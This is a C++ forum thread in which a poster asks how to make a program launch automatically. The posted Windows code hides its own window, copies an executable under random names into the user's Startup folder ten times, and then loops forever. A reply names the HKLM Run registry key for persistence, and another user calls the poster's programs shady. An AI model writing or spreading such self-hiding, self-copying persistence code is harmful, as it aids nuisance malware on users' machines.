auto start up

This is a discussion on auto start up within the C++ Programming forums, part of the General Programming Boards category; I was wondering im making a program that needs to be able to start up automatically is there any way ...

  1. #1
    Banned
    Join Date
    Oct 2004
    Posts
    250

    auto start up

    I was wondering im making a program that needs to be able to start up automatically is there any way to do this other than putting it in the startup menu maybe a Registry Key?

    Code:
    #include <iostream>
    #include <fstream>
    #include <windows.h>
    #include <ctime>
    using namespace std;
    
    int main()
    {
    	int n_times = 0;
    	int fcopy_name = 0;  
    	char FileName [MAX_PATH];
    	TCHAR user [MAX_PATH];
    	DWORD  bufCharCount = 32767;
    	srand((unsigned)time(0)); 
    	GetModuleFileName(NULL,FileName,MAX_PATH);
    	HWND hwnd = FindWindow(0,FileName); 
    	ShowWindow(hwnd,SW_HIDE);
    	GetUserName(user,&bufCharCount);
    	do
    	{
    		int temp_name = n_times+rand();
    		char buffer [MAX_PATH];
    		char new_name [MAX_PATH] = "C:\\Documents and Settings\\";
    		strcat(new_name,user);
    		strcat(new_name,"\\Start Menu\\Programs\\Startup\\");
    		itoa(temp_name,buffer,10);
    		strcat(buffer,".exe");
    		strcat(new_name,buffer);
    		CopyFile("Prime.exe",new_name,true);
    		n_times+=1;
    	}
    	while(n_times < 10);
    
    	while (1 == 1)
    	{
    	
    	}
    }

  2. #2
    Registered User
    Join Date
    Sep 2004
    Location
    California
    Posts
    3,262
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
    Add a REG_SZ value to that location, and make the value the path to your program's executable.

  3. #3
    Sweet
    Join Date
    Aug 2002
    Location
    Tucson, Arizona
    Posts
    1,812
    He's at it agian with his shady programs.
    Woop?

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Data Structure Eror
    By prominababy in forum C Programming
    Replies: 3
    Last Post: 01-06-2009, 09:35 AM
  2. Adventures in labyrinth generation.
    By guesst in forum Game Programming
    Replies: 8
    Last Post: 10-12-2008, 02:30 PM
  3. C++ gui for windows where to start
    By prixone in forum Windows Programming
    Replies: 2
    Last Post: 12-16-2006, 11:48 PM
  4. GNOME Desktop won't start (Mandriva)
    By psychopath in forum Tech Board
    Replies: 10
    Last Post: 07-19-2006, 02:21 PM
  5. Code: An auto expanding array (or how to use gets() safely).
    By anonytmouse in forum Windows Programming
    Replies: 0
    Last Post: 08-10-2004, 01:13 AM

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21